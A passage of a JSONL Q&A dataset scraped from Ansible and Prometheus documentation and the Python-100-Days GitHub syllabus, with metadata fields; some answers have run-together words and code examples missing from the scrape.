the\nuser’s profile in theHKEY_USERSregistry key toHKEY_CURRENT_USER.netcredentials_only: The process will use the same token as the caller\nbut will use thebecome_userandbecome_passwordwhen accessing a remote\nresource. This is useful in inter-domain scenarios where there is no trust\nrelationship, and should be used with thenew_credentialslogon_type.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.119963"}
{"id": "doc_4320f0f7a0ad", "question": "Limitations of become on Windows", "question_body": "", "answer": "Running a task withasyncandbecomeon Windows Server 2008, 2008 R2\nand Windows 7 only works when using Ansible 2.7 or newer.By default, the become user logs on with an interactive session, so it must\nhave the right to do so on the Windows host. If it does not inherit theSeAllowLogOnLocallyprivilege or inherits theSeDenyLogOnLocallyprivilege, the become process will fail. Either add the privilege or set thelogon_typeflag to change the logon type used.Prior to Ansible version 2.3, become only worked whenansible_winrm_transportwas eitherbasicorcredssp. This\nrestriction has been lifted since the 2.4 release of Ansible for all hosts\nexcept Windows Server 2008 (non R2 version).The Secondary Logon serviceseclogonmust be running to useansible_become_method:runasThe connection user must already be an Administrator on the Windows host to\nuserunas. The target become user does not need to be an Administrator\nthough.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html", "collected_at": "2026-01-17T09:16:04.120015"}
{"id": "doc_f813703b415b", "question": "Adding tags with the tags keyword", "question_body": "", "answer": "You can add tags to a single task or include. You can also add tags to multiple tasks by defining them at the level of a block, play, role, or import. The keywordtagsaddresses all these use cases. Thetagskeyword always defines tags and adds them to tasks; it does not select or skip tasks for execution. You can only select or skip tasks based on tags at the command line when you run a playbook. SeeSelecting or skipping tags when you run a playbookfor more details.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.877702"}
{"id": "doc_6f24ac85427e", "question": "Adding tags to individual tasks", "question_body": "", "answer": "At the simplest level, you can apply one or more tags to an individual task. You can add tags to tasks in playbooks, in task files, or within a role. Here is an example that tags two tasks with different tags:\nYou can apply the same tag to more than one individual task. This example tags several tasks with the same tag, “ntp”:\nIf you ran these four tasks in a playbook with--tagsntp, Ansible would run the three tasks taggedntpand skip the one task that does not have that tag.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.877916"}
{"id": "doc_73a858d20227", "question": "Selecting or skipping tags when you run a playbook", "question_body": "", "answer": "Once you have added tags to your tasks, includes, blocks, plays, roles, and imports, you can selectively execute or skip tasks based on their tags when you runansible-playbook. Ansible runs or skips all tasks with tags that match the tags you pass at the command line. If you have added a tag at the block or play level, withroles, or with an import, that tag applies to every task within the block, play, role, or imported role or file. If you have a role with several tags and you want to call subsets of the role at different times, eitheruse it with dynamic includes, or split the role into multiple roles.\nansible-playbookoffers five tag-related command-line options:\n--tagsall- run all tasks, tagged and untagged except ifnever(default behavior).--tagstag1,tag2- run only tasks with either the tagtag1or the tagtag2(also those taggedalways).--skip-tagstag3,tag4- run all tasks except those with either the tagtag3or the tagtag4ornever.--tagstagged- run only tasks with at least one tag (neveroverrides).--tagsuntagged- run only tasks with no tags (alwaysoverrides).\nFor example, to run only tasks and blocks tagged eitherconfigurationorpackagesin a very long playbook:\nTo run all tasks except those taggedpackages:\nTo run all tasks, even those excluded because are taggednever:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.878029"}
{"id": "doc_58034cec4b07", "question": "Previewing the results of using tags", "question_body": "", "answer": "When you run a role or playbook, you might not know or remember which tasks have which tags, or which tags exist at all. Ansible offers two command-line flags foransible-playbookthat help you manage tagged playbooks:\n--list-tags- generate a list of available tags--list-tasks- when used with--tagstagnameor--skip-tagstagname, generate a preview of tagged tasks\nFor example, if you do not know whether the tag for configuration tasks isconfigorconfin a playbook, role, or tasks file, you can display all available tags without running any tasks:\nIf you do not know which tasks have the tagsconfigurationandpackages, you can pass those tags and add--list-tasks. Ansible lists the tasks but does not execute any of them.\nThese command-line flags have one limitation: they cannot show tags or tasks within dynamically included files or roles. SeeComparing includes and imports: dynamic and static reusefor more information on differences between static imports and dynamic includes.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.878120"}
{"id": "doc_d09c48ac580a", "question": "Selectively running tagged tasks in reusable files", "question_body": "", "answer": "If you have a role or a tasks file with tags defined at the task or block level, you can selectively run or skip those tagged tasks in a playbook if you use a dynamic include instead of a static import. You must use the same tag on the included tasks and on the include statement itself. For example, you might create a file with some tagged and some untagged tasks:\nAnd you might include the tasks file above in a playbook:\nWhen you run the playbook withansible-playbook-ihostsmyplaybook.yml--tags\"mytag\", Ansible skips the task with no tags, runs the tagged individual task, and runs the two tasks in the block. Also it could run fact gathering (implicit task) as it is tagged withalways.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.878240"}
{"id": "doc_5d6cf3073ff1", "question": "Tag inheritance: adding tags to multiple tasks", "question_body": "", "answer": "If you want to apply the same tag or tags to multiple tasks without adding atagsline to every task, you can define the tags at the level of your play or block, or when you add a role or import a file. Ansible applies the tags down the dependency chain to all child tasks. With roles and imports, Ansible appends the tags set by therolessection or import to any tags set on individual tasks or blocks within the role or imported file. This is called tag inheritance. Tag inheritance is convenient because you do not have to tag every task. However, the tags still apply to the tasks individually.\nWith plays, blocks, therolekeyword, and static imports, Ansible applies tag inheritance, adding the tags you define to every task inside the play, block, role, or imported file. However, tag inheritance doesnotapply to dynamic reuse withinclude_roleandinclude_tasks. With dynamic reuse (includes), the tags you define apply only to the include itself. If you need tag inheritance, use a static import. If you cannot use an import because the rest of your playbook uses includes, seeTag inheritance for includes: blocks and the apply keywordfor ways to work around this behavior.\nYou can apply tags to dynamic includes in a playbook. As with tags on an individual task, tags on aninclude_*task apply only to the include itself, not to any tasks within the included file or role. If you addmytagto a dynamic include, then run that playbook with--tagsmytag, Ansible runs the include itself, runs any tasks within the included file or role tagged withmytag, and skips any tasks within the included file or role without that tag. SeeSelectively running tagged tasks in reusable filesfor more details.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.878297"}
{"id": "doc_2e0f062593d3", "question": "Configuring tags globally", "question_body": "", "answer": "If you run or skip certain tags by default, you can use theTAGS_RUNandTAGS_SKIPoptions in Ansible configuration to set those defaults.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_tags.html", "collected_at": "2026-01-17T09:16:05.878393"}
{"id": "doc_eb2323f1306b", "question": "Enabling the debugger", "question_body": "", "answer": "The debugger is not enabled by default. If you want to invoke the debugger during playbook execution, you must enable it first.\nUse one of these three methods to enable the debugger:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802099"}
{"id": "doc_93c87325d428", "question": "Enabling the debugger with thedebuggerkeyword", "question_body": "", "answer": "You can use thedebuggerkeyword to enable (or disable) the debugger for a specific play, role, block, or task. This option is especially useful when developing or extending playbooks, plays, and roles. You can enable the debugger on new or updated tasks. If they fail, you can fix the errors efficiently. Thedebuggerkeyword accepts five values:\nWhen you use thedebuggerkeyword, the value you specify overrides any global configuration to enable or disable the debugger. If you definedebuggerat multiple levels, such as in a role and in a task, Ansible honors the most granular definition. The definition at the play or role level applies to all blocks and tasks within that play or role unless they specify a different value. A definition at the block level overrides a definition at the play or role level and applies to all tasks within that block unless they specify a different value. A definition at the task level always applies to the task; it overrides definitions at the block, play, or role level.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802168"}
{"id": "doc_3edd47704233", "question": "Enabling the debugger in configuration or an environment variable", "question_body": "", "answer": "You can enable the task debugger globally with a setting inansible.cfgor with an environment variable. The only options areTrueorFalse. If you set the configuration option or environment variable toTrue, Ansible runs the debugger on failed tasks by default.\nTo enable the task debugger fromansible.cfg, add this setting to the[defaults]section:\nTo enable the task debugger with an environment variable, pass the variable when you run your playbook:\nWhen you enable the debugger globally, every failed task invokes the debugger, unless the role, play, block, or task explicitly disables the debugger. If you need more granular control over what conditions trigger the debugger, use thedebuggerkeyword.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802248"}
{"id": "doc_e9ed35a45a6c", "question": "Enabling the debugger as a strategy", "question_body": "", "answer": "If you are running legacy playbooks or roles, you may see the debugger enabled as astrategy. You can do this at the play level, inansible.cfg, or with the environment variableANSIBLE_STRATEGY=debug. For example:\nOr in ansible.cfg:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802308"}
{"id": "doc_36e527c71b1f", "question": "Resolving errors in the debugger", "question_body": "", "answer": "After Ansible invokes the debugger, you can use the sevendebugger commandsto resolve the error that Ansible encountered. Consider this example playbook, which defines thevar1variable but uses the undefinedwrong_varvariable in a task by mistake.\nIf you run this playbook, Ansible invokes the debugger when the task fails. From the debug prompt, you can change the module arguments or the variables and run the task again.\nChanging the task arguments in the debugger to usevar1instead ofwrong_varmakes the task run successfully.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802376"}
{"id": "doc_372cfc7e9ffa", "question": "Available debug commands", "question_body": "", "answer": "You can use these seven commands at the debug prompt:\nFor more details, see the individual descriptions and examples below.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802479"}
{"id": "doc_d45d7129e1ce", "question": "Update args command", "question_body": "", "answer": "task.args[*key*]=*value*updates a module argument. This sample playbook has an invalid package name.\nWhen you run the playbook, the invalid package name triggers an error, and Ansible invokes the debugger. You can fix the package name by viewing, and then updating the module argument.\nAfter you update the module argument, useredoto run the task again with the new args.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802541"}
{"id": "doc_21b39a4316d0", "question": "Update vars command", "question_body": "", "answer": "task_vars[*key*]=*value*updates thetask_vars. You could fix the playbook above by viewing and then updating the task variables instead of the module args.\nAfter you update the task variables, you must useupdate_taskto load the new variables before usingredoto run the task again.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802597"}
{"id": "doc_760d3eab229b", "question": "Update task command", "question_body": "", "answer": "uorupdate_taskrecreates the task from the original task data structure and templates with updated task variables. See the entryUpdate vars commandfor an example of use.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802638"}
{"id": "doc_e5672fb86b55", "question": "How the debugger interacts with the free strategy", "question_body": "", "answer": "With the defaultlinearstrategy enabled, Ansible halts execution while the debugger is active, and runs the debugged task immediately after you enter theredocommand. With thefreestrategy enabled, however, Ansible does not wait for all hosts and may queue later tasks on one host before a task fails on another host. With thefreestrategy, Ansible does not queue or execute any tasks while the debugger is active. However, all queued tasks remain in the queue and run as soon as you exit the debugger. If you useredoto reschedule a task from the debugger, other queued tasks may execute before your rescheduled task. For more information about strategies, seeControlling playbook execution: strategies and more.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_debugger.html", "collected_at": "2026-01-17T09:16:08.802684"}
{"id": "doc_7d6f35e2e3eb", "question": "Asynchronous ad hoc tasks", "question_body": "", "answer": "You can execute long-running operations in the background withad hoc tasks. For example, to executelong_running_operationasynchronously in the background, with a timeout (-B) of 3600 seconds, and without polling (-P):\nTo check on the job status later, use theasync_statusmodule, passing it the job ID that was returned when you ran the original job in the background:\nAnsible can also check on the status of your long-running job automatically with polling. In most cases, Ansible will keep the connection to your remote node open between polls. To run for 30 minutes and poll for status every 60 seconds:\nPoll mode is smart so all jobs will be started before polling begins on any machine. Be sure to use a high enough--forksvalue if you want to get all of your jobs started very quickly. After the time limit (in seconds) runs out (-B), the process on the remote nodes will be terminated.\nAsynchronous mode is best suited to long-running shell commands or software upgrades. Running the copy module asynchronously, for example, does not do a background file transfer.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_async.html", "collected_at": "2026-01-17T09:16:10.383055"}
{"id": "doc_e0097b74d4cb", "question": "Asynchronous playbook tasks", "question_body": "", "answer": "Playbooksalso support asynchronous mode and polling, with a simplified syntax. You can use asynchronous mode in playbooks to avoid connection timeouts or to avoid blocking subsequent tasks. The behavior of asynchronous mode in a playbook depends on the value ofpoll.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_async.html", "collected_at": "2026-01-17T09:16:10.383113"}
{"id": "doc_8c2248a3ee9e", "question": "Avoid connection timeouts: poll > 0", "question_body": "", "answer": "If you want to set a longer timeout limit for a certain task in your playbook, useasyncwithpollset to a positive value. Ansible will still block the next task in your playbook, waiting until the async task either completes, fails or times out. However, the task will only time out if it exceeds the timeout limit you set with theasyncparameter.\nTo avoid timeouts on a task, specify its maximum runtime and how frequently you would like to poll for status:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_async.html", "collected_at": "2026-01-17T09:16:10.383178"}
{"id": "doc_d3f840a0f6c6", "question": "Run tasks concurrently: poll = 0", "question_body": "", "answer": "If you want to run multiple tasks in a playbook concurrently, useasyncwithpollset to 0. When you setpoll:0, Ansible starts the task and immediately moves on to the next task without waiting for a result. Each async task runs until it either completes, fails or times out (runs longer than itsasyncvalue). The playbook run ends without checking back on async tasks.\nTo run a playbook task asynchronously:\nIf you need a synchronization point with an async task, you can register it to obtain its job ID and use theasync_statusmodule to observe it in a later task. For example:\nTo run multiple asynchronous tasks while limiting the number of tasks running concurrently:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_async.html", "collected_at": "2026-01-17T09:16:10.383287"}
{"id": "doc_49aed061dd42", "question": "When does it not fit?", "question_body": "", "answer": "Prometheus values reliability. You can always view what statistics are\navailable about your system, even under failure conditions. If you need 100%\naccuracy, such as for per-request billing, Prometheus is not a good choice as\nthe collected data will likely not be detailed and complete enough. In such a\ncase you would be best off using some other system to collect and analyze the\ndata for billing, and Prometheus for the rest of your monitoring.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://prometheus.io/docs/introduction/", "collected_at": "2026-01-17T09:16:11.603335"}
{"id": "doc_1caf9898fa3e", "question": "Downloading and running Prometheus", "question_body": "", "answer": "Download the latest releaseof Prometheus for\nyour platform, then extract and run it:\ntarxvfzprometheus-*.tar.gzcdprometheus-*\nBefore starting Prometheus, let's configure it.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842482"}
{"id": "doc_d1058514248c", "question": "Configuring Prometheus to monitor itself", "question_body": "", "answer": "Prometheus collects metrics fromtargetsby scraping metrics HTTP\nendpoints. Since Prometheus exposes data in the same\nmanner about itself, it can also scrape and monitor its own health.\nWhile a Prometheus server that collects only data about itself is not very\nuseful, it is a good starting example. Save the following basic\nPrometheus configuration as a file namedprometheus.yml:\nglobal:scrape_interval:15s# By default, scrape targets every 15 seconds.# Attach these labels to any time series or alerts when communicating with# external systems (federation, remote storage, Alertmanager).external_labels:monitor:'codelab-monitor'# A scrape configuration containing exactly one endpoint to scrape:# Here it's Prometheus itself.scrape_configs:# The job name is added as a label `job=\n` to any timeseries scraped from this config.-job_name:'prometheus'# Override the global default and scrape targets from this job every 5 seconds.scrape_interval:5sstatic_configs:-targets: ['localhost:9090']\nFor a complete specification of configuration options, see theconfiguration documentation.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842567"}
{"id": "doc_444165086198", "question": "Using the expression browser", "question_body": "", "answer": "Let us explore data that Prometheus has collected about itself. To\nuse Prometheus's built-in expression browser, navigate tohttp://localhost:9090/queryand choose the \"Graph\" tab.\nAs you can gather fromlocalhost:9090/metrics,\none metric that Prometheus exports about itself is namedprometheus_target_interval_length_seconds(the actual amount of time between\ntarget scrapes). Enter the below into the expression console and then click \"Execute\":\nprometheus_target_interval_length_seconds\nThis should return a number of different time series (along with the latest value\nrecorded for each), each with the metric nameprometheus_target_interval_length_seconds, but with different labels. These\nlabels designate different latency percentiles and target group intervals.\nIf we are interested only in 99th percentile latencies, we could use this\nquery:\nprometheus_target_interval_length_seconds{quantile=\"0.99\"}", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842651"}
{"id": "doc_883b527e684e", "question": "Using the graphing interface", "question_body": "", "answer": "To graph expressions, navigate tohttp://localhost:9090/queryand use the \"Graph\"\ntab.\nFor example, enter the following expression to graph the per-second rate of chunks\nbeing created in the self-scraped Prometheus:\nrate(prometheus_tsdb_head_chunks_created_total[1m])\nExperiment with the graph range parameters and other settings.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842709"}
{"id": "doc_8828e7a73941", "question": "Starting up some sample targets", "question_body": "", "answer": "Let's add additional targets for Prometheus to scrape.\nThe Node Exporter is used as an example target, for more information on using itsee these instructions.\ntar-xzvfnode_exporter-*.*.tar.gzcdnode_exporter-*.*# Start 3 example targets in separate terminals:./node_exporter--web.listen-address127.0.0.1:8080./node_exporter--web.listen-address127.0.0.1:8081./node_exporter--web.listen-address127.0.0.1:8082\nYou should now have example targets listening onhttp://localhost:8080/metrics,http://localhost:8081/metrics, andhttp://localhost:8082/metrics.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842781"}
{"id": "doc_e4c046548aac", "question": "Configure Prometheus to monitor the sample targets", "question_body": "", "answer": "Now we will configure Prometheus to scrape these new targets. Let's group all\nthree endpoints into one job callednode. We will imagine that the\nfirst two endpoints are production targets, while the third one represents a\ncanary instance. To model this in Prometheus, we can add several groups of\nendpoints to a single job, adding extra labels to each group of targets. In\nthis example, we will add thegroup=\"production\"label to the first group of\ntargets, while addinggroup=\"canary\"to the second.\nTo achieve this, add the following job definition to thescrape_configssection in yourprometheus.ymland restart your Prometheus instance:\nscrape_configs:-job_name:'node'# Override the global default and scrape targets from this job every 5 seconds.scrape_interval:5sstatic_configs:-targets: ['localhost:8080','localhost:8081']labels:group:'production'-targets: ['localhost:8082']labels:group:'canary'\nGo to the expression browser and verify that Prometheus now has information\nabout time series that these example endpoints expose, such asnode_cpu_seconds_total.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842860"}
{"id": "doc_4353719e118b", "question": "Configure rules for aggregating scraped data into new time series", "question_body": "", "answer": "Though not a problem in our example, queries that aggregate over thousands of\ntime series can get slow when computed ad-hoc. To make this more efficient,\nPrometheus can prerecord expressions into new persisted\ntime series via configuredrecording rules. Let's say we are interested in\nrecording the per-second rate of cpu time (node_cpu_seconds_total) averaged\nover all cpus per instance (but preserving thejob,instanceandmodedimensions) as measured over a window of 5 minutes. We could write this as:\navg by (job, instance, mode) (rate(node_cpu_seconds_total[5m]))\nTry graphing this expression.\nTo record the time series resulting from this expression into a new metric\ncalledjob_instance_mode:node_cpu_seconds:avg_rate5m, create a file\nwith the following recording rule and save it asprometheus.rules.yml:\ngroups:-name:cpu-noderules:-record:job_instance_mode:node_cpu_seconds:avg_rate5mexpr:avg by (job, instance, mode) (rate(node_cpu_seconds_total[5m]))\nTo make Prometheus pick up this new rule, add arule_filesstatement in yourprometheus.yml. The config should now\nlook like this:", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842944"}
{"id": "doc_aa8caaa4003d", "question": "Reloading configuration", "question_body": "", "answer": "As mentioned in theconfiguration documentationa\nPrometheus instance can have its configuration reloaded without restarting the\nprocess by using theSIGHUPsignal. If you're running on Linux this can be\nperformed by usingkill -s SIGHUP\n, replacing\nwith your Prometheus\nprocess ID.", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.842979"}
{"id": "doc_d64f5c4c54fd", "question": "Shutting down your instance gracefully.", "question_body": "", "answer": "While Prometheus does have recovery mechanisms in the case that there is an\nabrupt process failure it is recommended to use signals or interrupts for a\nclean shutdown of a Prometheus instance. On Linux, this can be done by sending\ntheSIGTERMorSIGINTsignals to the Prometheus process. For example, you\ncan usekill -s\n, replacing\nwith the signal name\nand\nwith the Prometheus process ID. Alternatively, you can press the\ninterrupt character at the controlling terminal, which by default is^C(Control-C).", "tags": ["https://prometheus"], "source": "official_docs", "category": "https://prometheus", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://prometheus.io/docs/prometheus/", "collected_at": "2026-01-17T09:16:11.843015"}
{"id": "doc_eafa619e3666", "question": "Get started for free", "question_body": "", "answer": "Sign up and get $200 in credit for your first 60 days with DigitalOcean.*", "tags": ["https://www"], "source": "official_docs", "category": "https://www", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://www.digitalocean.com/community/tutorials?q=linux", "collected_at": "2026-01-17T09:16:12.659684"}
{"id": "gh_20aa315c189c", "question": "How to: Python应用领域和职业发展分析", "question_body": "About jackfrued/Python-100-Days", "answer": "简单的说，Python是一个“优雅”、“明确”、“简单”的编程语言。\n\n - 学习曲线低，非专业人士也能上手\n - 开源系统，拥有强大的生态圈\n - 解释型语言，完美的平台可移植性\n - 动态类型语言，支持面向对象和函数式编程\n - 代码规范程度高，可读性强\n\nPython在以下领域都有用武之地。\n\n - 后端开发 - Python / Java / Go / PHP\n - DevOps - Python / Shell / Ruby\n - 数据采集 - Python / C++ / Java\n - 量化交易 - Python / C++ / R\n - 数据科学 - Python / R / Julia / Matlab\n - 机器学习 - Python / R / C++ / Julia\n - 自动化测试 - Python / Shell\n\n作为一名Python开发者，根据个人的喜好和职业规划，可以选择的就业领域也非常多。\n\n- Python后端开发工程师（服务器、云平台、数据接口）\n- Python运维工程师（自动化运维、SRE、DevOps）\n- Python数据分析师（数据分析、商业智能、数字化运营）\n- Python数据科学家（机器学习、深度学习、算法专家）\n- Python爬虫工程师（不推荐此赛道！！！）\n- Python测试工程师（自动化测试、测试开发）\n\n> **说明**：目前，**数据科学赛道是非常热门的方向**，因为不管是互联网行业还是传统行业都已经积累了大量的数据，各行各业都需要数据科学家从已有的数据中发现更多的商业价值，从而为企业的决策提供数据的支撑，这就是所谓的数据驱动决策。\n\n给初学者的几个建议：\n\n- **Make English as your working language.** （让英语成为你的工作语言）\n- **Practice makes perfect.** （熟能生巧）\n- **All experience comes from the mistakes you've made.** （所有的经验都源于犯过的错误）\n- **Don't be a freeloader.** （学会分享，不要只当伸手党）\n- （拥抱AI，提升效率）", "tags": ["jackfrued"], "source": "github_gists", "category": "jackfrued", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 177574, "answer_score": 10, "has_code": false, "url": "https://github.com/jackfrued/Python-100-Days", "collected_at": "2026-01-17T08:14:31.323615"}
{"id": "gh_85d459927c2f", "question": "How to: Day01~20 - Python语言基础", "question_body": "About jackfrued/Python-100-Days", "answer": "#### Day01 - [初识Python](./Day01-20/01.初识Python.md)\n\n1. Python简介\n    - Python编年史\n    - Python优缺点\n    - Python应用领域\n2. 安装Python环境\n    - Windows环境\n    - macOS环境\n\n#### Day02 - [第一个Python程序](./Day01-20/02.第一个Python程序.md)\n\n1. 编写代码的工具\n2. 你好世界\n3. 注释你的代码\n\n#### Day03 - [Python语言中的变量](./Day01-20/03.Python语言中的变量.md)\n\n1. 一些常识\n2. 变量和类型\n3. 变量命名\n4. 变量的使用\n\n#### Day04 - [Python语言中的运算符](./Day01-20/04.Python语言中的运算符.md)\n\n1. 算术运算符\n2. 赋值运算符\n3. 比较运算符和逻辑运算符\n4. 运算符和表达式应用\n    - 华氏和摄氏温度转换\n    - 计算圆的周长和面积\n    - 判断闰年\n\n#### Day05 - [分支结构](./Day01-20/05.分支结构.md)\n\n1. 使用if和else构造分支结构\n2. 使用match和case构造分支结构\n3. 分支结构的应用\n    - 分段函数求值\n    - 百分制成绩转换成等级\n    - 计算三角形的周长和面积\n\n#### Day06 - [循环结构](./Day01-20/06.循环结构.md)\n\n1. for-in循环\n2. while循环\n3. break和continue\n4. 嵌套的循环结构\n5. 循环结构的应用\n    - 判断素数\n    - 最大公约数\n    - 猜数字游戏\n\n#### Day07 - [分支和循环结构实战](./Day01-20/07.分支和循环结构实战.md)\n\n1. 例子1：100以内的素数\n2. 例子2：斐波那契数列\n3. 例子3：寻找水仙花数\n4. 例子4：百钱百鸡问题\n5. 例子5：CRAPS赌博游戏\n\n#### Day08 - [常用数据结构之列表-1](./Day01-20/08.常用数据结构之列表-1.md)\n\n1. 创建列表\n2. 列表的运算\n3. 元素的遍历\n\n#### Day09 - 